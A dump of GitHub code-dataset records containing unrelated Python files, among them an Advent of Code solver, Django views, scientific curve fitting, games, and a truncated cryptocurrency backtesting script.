main()\n","repo_name":"SamueleSandrini/sawyer_project","sub_path":"src/pick_place.py","file_name":"pick_place.py","file_ext":"py","file_size_in_byte":3451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"4751988212","text":"#!/usr/bin/env python3\n\nfrom collections import defaultdict\nimport re\n\n'''\n- Instruction pointer can be bound to a register so that it can be manipulated directly.\n- setr/seti can function as absolute jumps\n- addr/addi can function as relative jumps\n- other opcodes will also trigger jumps\n- #ip 1 - accesses to register 1 let the program indirectly access the instruction pointer itself\n- 6 registers => [0, 0, 0, 0, 0, 0] => 5 not bound to the ip, behave as normal\n- ip value is written to its register right before instruction is run\n- value of register is written to the ip immediately after instruction is run\n- add one to the ip to move to the next instruction (even if a prev instruction changed the ip)\n- ip matches the position of the instruction starting at 0\n- ip starts at 0\n- if ip gets out of list of instructions, program halts\n'''\n\ndef construct_fn(operation_func):\n def func(instruction, before_reg):\n regA, regB, regC = instruction\n\n result = operation_func(regA, regB, before_reg)\n\n after_reg = list(before_reg)\n after_reg[regC] = result\n\n return after_reg\n return func\n\ndef construct_all_operations():\n operations = {\n 'addr': construct_fn(lambda regA, regB, before_reg: before_reg[regA] + before_reg[regB]),\n 'addi': construct_fn(lambda regA, regB, before_reg: before_reg[regA] + regB),\n 'mulr': construct_fn(lambda regA, regB, before_reg: before_reg[regA] * before_reg[regB]),\n 'muli': construct_fn(lambda regA, regB, before_reg: before_reg[regA] * regB),\n 'banr': construct_fn(lambda regA, regB, before_reg: before_reg[regA] & before_reg[regB]),\n 'bani': construct_fn(lambda regA, regB, before_reg: before_reg[regA] & regB),\n 'borr': construct_fn(lambda regA, regB, before_reg: before_reg[regA] | before_reg[regB]),\n 'bori': construct_fn(lambda regA, regB, before_reg: before_reg[regA] | regB),\n 'setr': construct_fn(lambda regA, regB, before_reg: before_reg[regA]),\n 'seti': construct_fn(lambda regA, regB, before_reg: regA),\n 'gtir': construct_fn(lambda regA, regB, before_reg: 1 if regA > before_reg[regB] else 0),\n 'gtri': construct_fn(lambda regA, regB, before_reg: 1 if before_reg[regA] > regB else 0),\n 'gtrr': construct_fn(lambda regA, regB, before_reg: 1 if before_reg[regA] > before_reg[regB] else 0),\n 'eqir': construct_fn(lambda regA, regB, before_reg: 1 if regA == before_reg[regB] else 0),\n 'eqri': construct_fn(lambda regA, regB, before_reg: 1 if before_reg[regA] == regB else 0),\n 'eqrr': construct_fn(lambda regA, regB, before_reg: 1 if before_reg[regA] == before_reg[regB] else 0),\n }\n return operations\n\ndef main():\n operations = construct_all_operations()\n\n lines = open('input.txt').read().strip().split('\\n')\n\n ip_reg = int(lines[0].split()[1])\n program = lines[1:]\n\n registers = [1, 0, 0, 0, 0, 0]\n ip = 0\n\n num_loops = 0\n\n while ip < len(program):\n registers[ip_reg] = ip\n\n instruction = program[registers[ip_reg]].split()\n name = instruction[0]\n instruction = list(map(int, instruction[1:]))\n\n print('IN:', registers, end = '')\n print(' {} A={} B={} C={}'.format(name, instruction[0], instruction[1], instruction[2]), end = '')\n\n registers = operations[name](instruction, registers)\n\n print(' OUT:', registers)\n\n ip = registers[ip_reg] + 1\n\n # if num_loops == 500:\n # break\n num_loops += 1\n\n print('part 1', registers[0])\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"luiscarlin/advent-of-code-2018","sub_path":"day19/day19.py","file_name":"day19.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"13783033597","text":"\nimport statsmodels.api as sm\nimport numpy as np\n\ndef by_f_test(df, formula, repeat=10, log_dv = True):\n result = None\n selected_ivs = []\n for i in range(repeat):\n model = sm.OLS.from_formula(formula, data=df)\n result = model.fit()\n anova = sm.stats.anova_lm(result, typ=2)\n selected_ivs = [iv[0] for iv in anova.iterrows() if iv[1][3] < 0.05]\n if len(selected_ivs) >= 0:\n if log_dv == True: \n formula = 'np.log(_price_doc) ~ ' + ' + '.join(selected_ivs)\n else:\n formula = '_price_doc ~ ' + ' + '.join(selected_ivs)\n else:\n return result, selected_ivs\n return result, selected_ivs, formula\n","repo_name":"hojisu/sberbank-russian-housing-market","sub_path":"utils/feature_selection.py","file_name":"feature_selection.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"15518949935","text":"import matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA\n\nfrom dataset import car_valuation\nfrom dataset import occupancy\nfrom clustering_em import graph_em_method_clustering_for_data\nfrom clustering_kmean import graph_k_mean_clustering_for_data\n\nMAX_COMPONENTS = 6\ncluster_range = range(1, MAX_COMPONENTS + 1)\n\n\ndef get_transformed_data_by_pca(\n data,\n components=MAX_COMPONENTS,\n graph=True,\n title=None\n):\n pca = PCA(n_components=components, svd_solver='full')\n pca.fit(data)\n if graph and title:\n plt.plot(range(1, components + 1), pca.singular_values_)\n plt.title(title)\n plt.xlabel(\"Number of Components\")\n plt.ylabel(\"Singular values\")\n plt.legend()\n plt.savefig(title)\n plt.clf()\n\n return pca.transform(data)\n\n\npca_transformed_data_car_valuation = get_transformed_data_by_pca(\n car_valuation.training_data,\n title=\"PCA for Car Evaluation\"\n)\npca_transformed_test_data_car_valuation = get_transformed_data_by_pca(\n car_valuation.test_data,\n)\ngraph_k_mean_clustering_for_data(\n data=pca_transformed_data_car_valuation,\n cluster_range=cluster_range,\n title=\"K-Mean clustering for Car Evaluation PCA\"\n)\ngraph_em_method_clustering_for_data(\n pca_transformed_data_car_valuation,\n \"EM clustering for Car Evaluation PCA\"\n)\n\n\npca_transformed_data_occupancy = get_transformed_data_by_pca(\n occupancy.training_data,\n title=\"PCA for Occupancy\"\n)\ngraph_k_mean_clustering_for_data(\n data=pca_transformed_data_occupancy,\n cluster_range=cluster_range,\n title=\"K-Mean clustering for Occupancy PCA\"\n)\ngraph_em_method_clustering_for_data(\n pca_transformed_data_occupancy,\n \"EM clustering for Occupancy PCA\"\n)\n","repo_name":"nblam1994/OMSCS-Machine-Learning","sub_path":"Assignment3/pca.py","file_name":"pca.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"40168538885","text":"#imports#\nimport time, math, sys, random\n\n#functions#\n\ndef ans(x = \">>> \"):\n return input(x)\n\ndef text(*string, speed = 0.038):\n for j in string:\n for i in str(j): \n print(i, end = \"\")\n time.sleep(speed)\n print()\n\ndef lifeDecider():\n text(\"What would you like your name to be?\")\n name = ans()\n while True:\n text(\"Are you\\n1.Male\\n2.Female\")\n x = ans()\n if x == \"1\":\n \tgender = \"male\"\n \tbreak\n elif x == \"2\":\n \tgender = \"female\"\n \tbreak\n else:\n \ttext(\"You have failes this menial task.\\nPlease do better next time\")\n global character\n character = player(name, gender)\n\n#objects#\n\nclass player:\n def __init__(self, name, gender, descriptor = None):\n #stores the 'identity' informaion#\n self.general = {\n \"name\" : name,\n \"gender\" : gender,\n \"age\" : 13,\n \"degree\" : \"None\",\n \"money\" : 200,\n \"health\" : 0,\n \"happyness\" : 100,\n \"total earnings\" : 10,\n \"days\" : 0\n }\n\n self.parents = {\n \"descriptor\" : descriptor,\n \"relationship\" : 200,\n \"relationship descriptor\" : \"ok\",\n \"allowance\" : 10\n }\n \n def day(self):\n \tself.general[\"days\"] += 1\n \tself.general[\"money\"] += self.general[\"total earnings\"]\n \tfor i in range(10):\n \t\tif self.general[\"age\"] < i * 10:\n \t\t\tself.general[\"health\"] -= i - 4\n \t\t\tbreak\n \tif self.general[\"health\"] > 100:\n \t\tself.general[\"health\"] = 100\n \tif self.general[\"health\"] == 0:\n \t\t\ttext(\"you loose\")\n \ttext(\"what would you like to do\")\n \tx = ans()\n \tif x == \"end\":\n \t\tcharacter.day()\n \telif x == \"info\":\n \t character.you()\n \t\t\t\n \t\t\n\n def you(self):\n for i in self.general:\n text(i, \" : \", self.general[i])\n\n def help(self):\n \tpass\n\n#testing#\nlifeDecider()\ncharacter.you()\ncharacter.day()\ncharacter.you()\n","repo_name":"Towe002/midieval-life","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"39748581463","text":"import os\n\n\ndir = os.path.dirname(__file__)\nwith open(os.path.join(dir, \"test4\")) as f:\n lines = f.read().strip().split(\"\\n\")\n deck = 10\n mul = 1\n add = 0\n for line in lines:\n text, number = line.rsplit(\" \", 1)\n if text == \"deal into new\":\n mul *= -1\n add += mul\n if text == \"cut\":\n add += int(number) * mul\n if text == \"deal with increment\":\n mul *= int(number) ** (deck - 3)\n mul %= deck\n add %= deck\n for pos in range(deck):\n print((pos * mul + add) % deck, end=\" \")\n print()\n\n # Cant solve this.. :-(\n","repo_name":"mevdschee/AdventOfCode2019","sub_path":"day22/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"39"} +{"seq_id":"40656515731","text":"# -*- coding: utf-8 -*-\n# @Author: theo-l\n# @Date: 2017-07-10 09:36:44\n# @Last Modified by: theo-l\n# @Last Modified time: 2017-08-03 09:14:25\n\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.db.models import Q\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .models import *\nfrom .xviews import XView\n# Create your views here.\n\n\nclass APIManagerView(XView):\n # model = APIInfo\n queryset = APIInfo.objects.all()\n context_object_list_name = 'objects'\n fields = '__all__'\n paginate_by = 2\n ordering = ['created_at']\n search_fields = ['endpoint']\n\n def get_context_data(self, **kwargs):\n \"\"\"\n Insert some common context data in the template env\n \"\"\"\n context = super(APIManagerView, self).get_context_data(**kwargs)\n apps = APP.enables.all()\n app_resources = []\n for app in apps:\n resources = APIInfo.enables.filter(app=app).values_list('resource_name', flat=True).distinct()\n app_resources.extend(list(resources))\n data = {'apps': apps, 'resources': app_resources}\n context.update(**data)\n return context\n\n\n@csrf_exempt\ndef index(request, *args, **kwargs):\n queryset = APIInfo.enables.order_by('app', 'resource_name')\n context_data = kwargs or {}\n filters = kwargs or {}\n\n page = 1\n if request.method == 'GET':\n for key, value in request.GET.items():\n if not value:\n continue\n if key == 'page':\n page = request.GET.get('page') or page\n continue\n if key == 'q':\n search_key = value.strip(\" \")\n context_data['q'] = search_key\n queryset = queryset.filter(Q(app__name__icontains=search_key) | Q(resource_name__icontains=search_key) | Q(desc__icontains=search_key))\n continue\n\n filters[key] = value\n context_data[key] = value\n\n if filters:\n print(\"filters:\", filters)\n queryset = queryset.filter(**filters)\n\n paginator = Paginator(queryset.all(), 20)\n try:\n objects = paginator.page(page)\n except PageNotAnInteger:\n objects = paginator.page(1)\n except EmptyPage:\n objects = paginator.page(paginator.num_pages)\n\n context_data.update({'objects': objects})\n\n print(context_data)\n return render(request, 'api_doc/index.html', context_data)\n\n\ndef app_resource_list(request, *args, **kwargs):\n app = APP.enables.filter(pk=kwargs['app_id']).first()\n resources = APIInfo.enables.filter(app=app).values_list('resource_name', flat=True).distinct()\n resources = Paginator(resources, 20)\n return render(request, 'api_doc/app_resource_list.html',\n {'objects': resources, 'app': app})\n\n\ndef app_resource_api_list(request, *args, **kwargs):\n \"\"\"\n Get all apis of the given resource of the given app\n \"\"\"\n app = APP.enables.filter(pk=kwargs['app_id']).first()\n if app is None:\n return HttpResponse('Not Found')\n resource_name = kwargs['resource_name']\n apis = APIInfo.enables.filter(resource_name=resource_name).all()\n apis = Paginator(apis, 20)\n\n return render(request, 'api_doc/app_resource_api_list.html',\n {'objects': apis, 'app': app, 'resource_name': resource_name})\n\n\ndef app_resource_api_detail(request, *args, **kwargs):\n \"\"\"\n Display the api detail information\n \"\"\"\n print(args, kwargs)\n api = APIInfo.enables.filter(pk=kwargs['api_id']).first()\n context_data = {\n 'obj': api\n }\n return render(request, 'api_doc/app_resource_api_detail.html', context_data)\n","repo_name":"theo-l/tutors","sub_path":"dj_tutor11/api_doc/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"28147160157","text":"\"\"\"\nSpecify a list of real numbers. Write a program that will find the difference between the maximum\nand the minimum value of the fractional part of the elements.\n*Example:*\n\n- [1.1, 1.2, 3.1, 5, 10.01] => 0.19\n\"\"\"\nfrom fractions import Fraction\n\n\ndef difference(numbers: list) -> float:\n \"\"\"\n The functions that will find the difference between the maximum\n and the minimum value of the fractional part of the elements.\n\n :param numbers: list of real numbers.\n :return: float number - difference between the maximum and the minimum\n value of the fractional part of the elements.\n \"\"\"\n parts = list()\n for number in numbers:\n # Check whether the number is float type, if not, move on to the next one.\n if type(number) == float:\n # Cut off the fractional part\n fractional_part = Fraction((number - int(number))) # 1.23 - 1 = 0.23\n # Add fractional parts of numbers to list\n parts.append(fractional_part)\n\n min_fr = parts[0]\n max_fr = parts[0]\n\n for fr_part in parts:\n if fr_part > max_fr:\n # Previous max became min\n min_fr = max_fr\n max_fr = fr_part\n else:\n # Then fr_part <= previous max_fr,\n # check whether it is a minimum (whether it is less than min_fr )\n if fr_part < min_fr:\n min_fr = fr_part\n\n return float(round((max_fr - min_fr), 2))\n\n\ntry:\n print(\"The program that will find the difference between the maximum \\n\"\n \"and the minimum value of the fractional part of the elements.\\n\")\n\n numbers = [1.1, 1.2, 3.1, 5, 10.01]\n\n print(\"Original lists:\", numbers, \"=>\", \"Difference:\", difference(numbers))\nexcept ValueError as error:\n print(error)\n","repo_name":"allwdesign/python_seminars","sub_path":"third_homework/difference_between_fractional_parts.py","file_name":"difference_between_fractional_parts.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"70460180275","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 8 14:43:27 2017\n\n@author: dwi\n\"\"\"\n\n######## CURVE FIT ##########################\nimport numpy as np\nfrom numpy import exp\nfrom scipy.optimize import curve_fit\nimport matplotlib.pyplot as pl\nimport pandas as pd\n#from physicsconstants import h_bar, G_e, k_B\n\nData = pd.read_csv (r'/home/dwi/ownCloud/Anlabshared/Dwi/researchdata/170425YIGFilmNanodiamond/T1ND2PulsedMW100ns/200ns2.8GHz-27dBm/200ns2.8GHz-27dBm.csv', header=None)\nData.columns = ['Intensity']\nData2 = pd.read_csv (r'/home/dwi/ownCloud/Anlabshared/Dwi/researchdata/170425YIGFilmNanodiamond/T1ND2PulsedMW100ns/200ns2.8GHz10dBm/200ns2.8GHz10dBm.csv', header=None)\nData2.columns = ['Intensity']\n#Data3 = pd.read_csv (r'/home/dwi/ownCloud/Anlabshared/Dwi/researchdata/170424YIGFilm//Nanodiamond/T1/200ns4GHz10dBmPulsed10ns/200ns4GHz10dBmPulsed10ns.csv', header=None)\n#Data3.columns = ['Intensity']\nt = np.linspace(0.0, 200.0e-9,11) #Delay time\nI = np.array (Data['Intensity']/Data['Intensity'].max()) #Intensity\nI2 = np.array (Data2['Intensity']/Data2['Intensity'].max())\n#I3 = np.array (Data3['Intensity']/Data3['Intensity'].max())\n#B = 10.0e-3\n#w = G_e * B\n#Initial guess\nx0 = np.array([1.0, 200.0, 2.0]) #Initial coefficient\n\ndef func (t, A, R, c):\n return A * exp(-R * t) + c\n \n \npopt, pcov = curve_fit (func, t, I, p0=x0)\npopt2, pcov2 = curve_fit (func, t, I2, p0=x0)\n#popt3, pcov3 = curve_fit (func, t, I3, p0=x0)\n#a = fit[0]\n#print (a)\nT = np.linspace(0.0, 200.0e-9, 100)\n#fitfunc = a[0] * exp(-a[1]*T)\n\npl.xlabel (r'$\\tau$ (s)', fontsize = 20.0)\npl.ylabel ('Intensity (norm.)', fontsize = 20.0)\npl.rc('text', usetex=True)\npl.rc('font', family='serif', size = 20)\npl.ticklabel_format(style='sci', axis='x', scilimits=(0,00))\npl.plot (T, func(T, *popt), lw = 2.0, color = 'b', label = r'2.8 GHz 0 dBm, T$_1$ ='+ str(round((1/popt[1]) * 1e9, 3)) + 'ns')\npl.plot (T, func(T, *popt2), lw = 2.0, color = 'g', label = r'2.8 GHz 37 dBm 100 ns, T$_1$ ='+ str(round((1/popt2[1]) * 1e9, 3)) + 'ns')\n#pl.plot (T, func(T, *popt3), lw = 2.0, color = 'r', label = r'4 GHz 37 dBm 10 ns, T$_1$ ='+ str(round((1/popt3[1]), 20)) + 's')\npl.plot (t, I, 'bo', markersize = 10.0)#, label = r'No MW')\npl.plot (t, I2, 'go', markersize = 10.0)#, label = r'3 GHz 32 dBm')\n#pl.plot (t, I3, 'ro', markersize = 10.0)#, label = r'$\\Delta$T = 30 K')\npl.legend(fontsize = 14)\nprint('Spin relaxation rate =' + str(round(popt[1],2)))\nprint('Spin relaxation time (T1) =' + str(round(1/popt[1], 5)) + 's')\nprint('A coefficient =' + str(popt[0]))\nprint('c coefficient =' + str(popt[2]))","repo_name":"dprananto/DiamondNVDataProcessing","sub_path":"T1fittingNanoDiamond.py","file_name":"T1fittingNanoDiamond.py","file_ext":"py","file_size_in_byte":2570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"31964719388","text":"#########################################################################\n# FILE: boggle.py\n# WRITER: Daniel Sinai\n# DESCRIPTION: This program implements the controller of the boggle game\n#########################################################################\nimport boggle_utils as utils\nimport boggle_gui as bg\nfrom game import Game\nimport tkinter as tk\nfrom tkinter import messagebox\n\n\nclass BoggleController:\n \"\"\"\n This class control's the boggle game and combines between the GUI and the\n logical part\n \"\"\"\n INVALID_WORD_MSG = \"Your word is not in the dictionary or your path is\" \\\n \" illegal. Please try again\"\n FOUND_SAME_WORD_MSG = 'You already found this word'\n TIME_OVER_MSG = \"Your time is over! Would you like to start a new game? \"\n\n def __init__(self):\n \"\"\"\n This function initializes a new controller\n \"\"\"\n self.__mainframe = Game()\n self.random_board = self.__mainframe.get_board_values()\n self.__gui = bg.BoggleGUI(self.random_board,\n self.__mainframe.get_board_object().get_cells(),\n self.reset)\n self.words_list = self.__mainframe.get_board_object().get_words_list()\n self.__gui.check_word_button.bind(\"\",\n func=self.click_check_word)\n\n def get_gui(self):\n \"\"\"\n This function returns the GUI object of the controller\n :return:\n \"\"\"\n return self.__gui\n\n def click_check_word(self, event):\n \"\"\"\n This function handles an event where the player selects letters and\n wants to check if they make up a valid word\n :param event: Object\n :return: None\n \"\"\"\n potential_word = utils.is_valid_path(self.__mainframe.get_board_as_list(),\n self.__gui.get_current_word_path(),\n self.words_list)\n if potential_word in self.__gui.words_found:\n tk.messagebox.showinfo(\"Word already found\",\n self.FOUND_SAME_WORD_MSG)\n self.__gui.reset_word()\n elif potential_word:\n self.__gui.current_score += self.__mainframe.calculate_word_score(\n self.__gui.get_current_word_path())\n self.__gui.update_score()\n self.__gui.update_words_found_list(potential_word)\n self.__gui.update_words_found_frame()\n self.__gui.reset_word()\n else:\n tk.messagebox.showinfo(\"Invalid Word\", self.INVALID_WORD_MSG)\n self.__gui.reset_word()\n return \"break\"\n\n def run(self):\n \"\"\"\n This function runs the game\n :return: None\n \"\"\"\n self.__gui.run()\n\n def reset(self):\n \"\"\"\n This function resets the game and starts a new one if the player\n choose to play again\n :return: None\n \"\"\"\n time_over = messagebox.askquestion(\"Time's Up\", self.TIME_OVER_MSG)\n if time_over == \"no\":\n self.__gui.root.destroy()\n else:\n self.__gui.root.destroy()\n new_game = BoggleController()\n new_game.run()\n\n\nif __name__ == \"__main__\":\n new = BoggleController()\n new.run()\n","repo_name":"daniel-sinai/boggle","sub_path":"boggle.py","file_name":"boggle.py","file_ext":"py","file_size_in_byte":3334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"41840594467","text":"import cv2 as cv\nimport numpy as np\n\ndef gauss(x, y, a, b, sigma):\n return (1 / (np.pi * (2 * sigma ** 2))) * np.exp(-((x-a) ** 2 + (y-b) ** 2) / (2 * sigma ** 2))\n\ndef task1():\n\n def gaussian_matrix(size, sigma):\n sum = 0\n # Исходная матрица\n matrix = np.ones((size, size))\n for i in range(size):\n for j in range(size):\n matrix[i, j] = gauss(i, j, (size - 1) // 2, (size - 1) // 2, sigma)\n # Нормализация\n for i in range(size):\n for j in range(size):\n sum += matrix[i, j]\n for i in range(size):\n for j in range(size):\n matrix[i, j] /= sum\n return matrix\n\n # Средне квадратичное отклонение\n sigma = 2\n # Итоговые матрицы\n print(f\"Гауссовское ядро размерностью {3}x{3} и средним квадратичным отклонением {sigma}:\\n\")\n kernel = gaussian_matrix(3, sigma)\n print(kernel)\n print(\"\\n\")\n print(f\"Гауссовское ядро размерностью {5}x{5} и средним квадратичным отклонением {sigma}:\\n\")\n kernel = gaussian_matrix(5, sigma)\n print(kernel)\n print(\"\\n\")\n print(f\"Гауссовское ядро размерностью {7}x{7} и средним квадратичным отклонением {sigma}:\\n\")\n kernel = gaussian_matrix(7, sigma)\n print(kernel)\n print(\"\\n\")\n # Нормализация ядра свертки важна, чтобы после применения свертки яркость изображения в целом оставалась неизменной.\ntask1()","repo_name":"Niksa7/ACOM","sub_path":"Lab 3/Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"27862472140","text":"#board \r\nimport pygame\r\n\r\npygame.init()\r\n\r\n#backgrounds= {(1,1):(0,0,0), (1,2):'map12.jpg', (1,3):(67, 190, 11), (2,1):(), (2,2):'map22.jpg', (2,3):(232, 199, 181), (3,1):(193, 158, 14), (3,2):(229, 97, 89), (3,3):(203, 175, 165)}\r\n\r\nbackgrounds={1:'map12.jpg',2:'map22.jpg',3:'map12.jpg',4:'map22.jpg',5:'map12.jpg',6:'map22.jpg',7:'map12.jpg',8:'map22.jpg',9:'map12.jpg'}\r\n\r\nclass screen():\r\n def __init__(self, title, width=800, height=800, location = 1):#(2,2)):\r\n self.title = title #backgrounds[location][1] #if we want to ad titles to each room\r\n self.width = width\r\n self.height = height\r\n self.location = location\r\n bg = pygame.image.load(backgrounds[location])\r\n self.background = pygame.image.load(backgrounds[location])\r\n self.screen = pygame.display.set_mode((self.width, self.height))\r\n \r\n def update_background(self, door_entered):\r\n current_location = self.location\r\n new_location = 1\r\n if door_entered == \"L\" and current_location!=1:\r\n self.location-=1\r\n elif door_entered == 'R' and current_location!=9:\r\n self.location+=1\r\n #self.location = new_location\r\n bg = pygame.image.load(backgrounds[new_location])\r\n self.background = pygame.transform.scale(bg, (self.width, self.height))\r\n '''\r\n if(door_entered == 'N'):\r\n new_location = (current_location[0]-1, current_location[1]) \r\n elif(door_entered == 'S'):\r\n new_location = (current_location[0]+1, current_location[1])\r\n elif(door_entered == 'E'):\r\n new_location = (current_location[0], current_location[1]-1)\r\n elif door_entered == 'W':\r\n new_location = (current_location[0]-1, current_location[1]+1)\r\n #self.location = new_location\r\n bg = pygame.image.load(backgrounds[new_location])\r\n self.background = pygame.transform.scale(bg, (self.width, self.height))\r\n '''\r\n #def update_doors(self):\r\n #if \r\n''' \r\nscr = screen(\"start\")\r\n#pygame.display.set_mode((self.width, self.height))\r\nrun = True\r\nwhile(run):\r\n scr.screen.blit(scr.background,(0,0))\r\n #direction = ''\r\n #for event in pygame.event.get():\r\n #if event.type == SPACE:\r\n #get direction\r\n #scr.update_screen('N')\r\n pygame.display.update()\r\n #scr.update_background(direction)\r\n #scr.update_doors()\r\n#scr.display_screen()\r\n''' ","repo_name":"sesh9096/HackCU8","sub_path":"board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"18358995349","text":"#!/usr/bin/env python\n#-*- coding:utf-8; mode:python; indent-tabs-mode: nil; c-basic-offset: 2; tab-width: 2 -*-\n\nimport os.path as path\nfrom bes.common import check\nfrom bes.system import host, os_env, os_env_var\nfrom .tools_package_manager import tools_package_manager\n\nclass tools_manager(object):\n\n def __init__(self, tools_dir):\n assert tools_dir\n tools_dir = path.abspath(tools_dir)\n self.tools_dir = path.join(tools_dir, host.SYSTEM)\n self.package_manager = tools_package_manager(self.tools_dir)\n\n def update(self, packages, am):\n check.check_package_descriptor_seq(packages)\n check.check_artifact_manager(am)\n self.package_manager.install_packages(packages, am)\n bin_dirs = self._all_bin_dirs(packages)\n os_env.PATH.prepend(bin_dirs)\n\n def tool_exe(self, package_info, tool_name):\n 'Return an abs path to the given tool.'\n return self.package_manager.tool_exe(package_info, tool_name)\n\n def _all_bin_dirs(self, packages):\n return [ self.package_manager.bin_dir(p) for p in packages ]\n\n def _all_lib_dirs(self, packages):\n return [ self.package_manager.lib_dir(p) for p in packages ]\n\n def _all_python_lib_dirs(self, packages):\n return [ self.package_manager.python_lib_dir(p) for p in packages ]\n \n def shell_env(self, packages):\n tools_bin_path = self._all_bin_dirs(packages)\n tools_lib_path = self._all_lib_dirs(packages)\n tools_python_lib_path = self._all_python_lib_dirs(packages)\n env = {\n os_env.LD_LIBRARY_PATH_VAR_NAME: os_env_var.path_join(tools_lib_path),\n 'PATH': os_env_var.path_join(tools_bin_path),\n 'PYTHONPATH': os_env_var.path_join(tools_python_lib_path),\n }\n all_env_vars = self.package_manager.all_env_vars(packages)\n os_env.update(env, all_env_vars)\n return env\n\n def export_variables_to_current_env(self, packages):\n all_env_vars = self.package_manager.all_env_vars(packages)\n for key, value in all_env_vars.items():\n os_env_var(key).value = value\n","repo_name":"reconstruir/rebuild","sub_path":"lib/rebuild/tools_manager/tools_manager.py","file_name":"tools_manager.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"23345114790","text":"import pyupbit\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\nimport time\nimport pandas as pd\n\ncoins = pyupbit.get_tickers(fiat=\"KRW\")\nnowTime = time.strftime('%Y%m%d', time.localtime(time.time()))\ncoin = \"KRW-COIN\"\n\n\ndef get_ohlcv(ticker):\n dfs = []\n # 조회할 코인, 일봉 또는 분봉으로 조회, 적힌 날짜, 시간까지 200개의 데이터 조회\n df = pyupbit.get_ohlcv(ticker, interval=\"minute1\", to=nowTime + \" 00:18:50\")\n # OHLCV(open, high, low, close, volume)로 당일 시가, 고가, 저가, 종가, 거래량\n dfs.append(df)\n\n for i in range(60):\n df = pyupbit.get_ohlcv(ticker, interval=\"minute1\", to=df.index[0]) # 과거 데이터 200개 조회\n dfs.append(df)\n time.sleep(0.2)\n\n df = pd.concat(dfs)\n df = df.sort_index()\n return df\n\n\ndef short_trading_for_1per(df, inChart):\n # 이동 평균선 (급락으로 인해 120분 이동 평균선도 적용)\n ma15 = df['close'].rolling(15).mean().shift(1)\n ma50 = df['close'].rolling(50).mean().shift(1)\n ma120 = df['close'].rolling(120).mean().shift(1)\n\n # 1. 매수 일자 판별\n cond_0 = df['high'] >= df['open'] * 1.01 # df의 고가가 df 시가 대비 1프로 상승 시 매수\n cond_1 = (ma15 >= ma50) & (ma15 <= ma50 * 1.03)\n cond_2 = ma50 > ma120\n cond_buy = cond_0 & cond_1 & cond_2\n\n acc_ror = 1 # 전체 수익률 저장 함수\n sell_date = None\n\n ax_ror = []\n ay_ror = []\n\n # 2. 매도 조건 탐색 및 수익률 계산\n\n # 반복문을 사용하여 선택된 날짜를 하나씩 가져옴\n for buy_date in df.index[cond_buy]:\n if sell_date != None and buy_date <= sell_date:\n continue\n target = df.loc[buy_date:] # buy_date 부터 끝까지의 데이터 가져옴\n\n cond = target['high'] >= df.loc[buy_date, 'open'] * 1.02 # target 의 고가가 target 의 시가에서 2프로 상승 시 매도\n sell_candidate = target.index[cond] # index 에는 날짜 정보가 저장되어 있음.\n\n # 만약 매도할 수 있는 날짜가 존재하지 않을 시 공가 데이터 매도, 탐색 중지\n if len(sell_candidate) == 0:\n buy_price = df.loc[buy_date, 'open'] * 1.01 # buy_price 는 매수한 시간 정보(행) , 시가(열) 에서 1프로 상승\n sell_price = df.iloc[-1, 3] # sell_price 는 마지막 행, 종가(3)\n acc_ror *= (sell_price / buy_price)\n ax_ror.append(df.index[-1])\n ay_ror.append(acc_ror)\n break\n else:\n sell_date = sell_candidate[0]\n acc_ror *= 1.001\n ax_ror.append(sell_date)\n ay_ror.append(acc_ror)\n # 수수료 0.005 + 슬리피지 0.004\n # 1.01 - (수수료 + 슬리피지)\n\n # 주석 처리부분은 그래프로 시각화 하게 만드는 부분임\n if inChart:\n candle = go.Candlestick(\n x=df.index,\n open=df['open'],\n high=df['high'],\n low=df['low'],\n close=df['close'],\n )\n\n ror_chart = go.Scatter(\n x=ax_ror,\n y=ay_ror\n )\n\n fig = make_subplots(specs=[[{\"secondary_y\": True}]])\n fig.add_trace(candle)\n fig.add_trace(ror_chart, secondary_y=True)\n\n for idx in df.index[cond_buy]:\n fig.add_annotation(\n x=idx,\n y=df.loc[idx, 'open']\n )\n fig.show()\n elif not inChart:\n return acc_ror\n\n return acc_ror\n\n\nglobal isDatas\n\n# 이 부분은 데이터 로딩이 오래걸려 따로 엑셀문서로 만드는 부분\nisData = input(\"새로운 데이터 파일(엑셀 파일)을 생성하시겠습니까? y/n\")\nif isData == \"y\":\n Datas = input(\"\\n업비트에 있는 모든 코인들을 백테스트 하시겠습니까? y/n\")\n if Datas == \"y\":\n for ticker in coins:\n df = 